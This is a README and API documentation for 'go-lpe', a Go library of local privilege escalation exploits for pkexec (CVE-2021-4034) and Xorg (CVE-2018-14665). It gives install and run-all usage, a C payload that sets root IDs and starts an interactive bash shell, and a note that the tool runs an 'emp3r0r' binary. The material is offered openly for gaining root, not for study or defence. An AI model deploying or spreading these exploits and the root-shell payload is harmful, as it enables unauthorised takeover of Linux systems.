golpe

README

Go-LPE

A collection of LPE exploits written in Go

Exploits

CVE	Description	Link
2021-4034	pkexec exploit rewritten in pure Go that is based on blasty's poc	https://haxx.in/files/blasty-vs-pkexec.c
2018-14665	xorg (a demo) that works in environments with certain xorg versions	https://www.cvedetails.com/cve/CVE-2018-14665

Get Started

go get -u -v github.com/jm33-m0/go-lpe

package main

import (
    golpe "github.com/jm33-m0/go-lpe"
)

func main() {
    golpe.RunAll()
}

// go:build ignore
//  +build ignore
// musl-gcc -static -s -o emp3r0r demo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  puts("go-lpe has successfully got root!");
  setuid(0);
  seteuid(0);
  setgid(0);
  setegid(0);
  system("/bin/bash -i");
  return 0;
}

• Note that this tool tries to execute ./emp3r0r -replace
• If you want it to execute other stuff, just write a wrapper

Documentation

Index

• Variables
• func Base64Decode(text string) []byte
• func Base64Encode(data []byte) string
• func Bin2String(data []byte) (res string)
• func CVE_2018_14665() (err error)
• func CVE_2021_4034() (err error)
• func ExtractFileFromString(data string) (out []byte, err error)
• func RunAll() (err error)

Variables

var All = map[string]func() error{
	"CVE-2021-4034":  CVE_2021_4034,
	"CVE-2018-14655": CVE_2018_14665,
}

Functions

func Base64Decode

func Base64Decode(text string) []byte

Base64Decode decode a base64 encoded string (to []byte)

func Base64Encode

func Base64Encode(data []byte) string

Base64Encode decode a base64 encoded string (to []byte)

func Bin2String

func Bin2String(data []byte) (res string)

Bin2String compress binary file and encode with base64

func CVE_2018_14665

func CVE_2018_14665() (err error)

CVE_2018_14665 get root via xorg lpe CVE-2018-14655

func CVE_2021_4034

func CVE_2021_4034() (err error)

a Go approach

func ExtractFileFromString

func ExtractFileFromString(data string) (out []byte, err error)

ExtractFileFromString base64 decode, and then decompress using bzip2

func RunAll

func RunAll() (err error)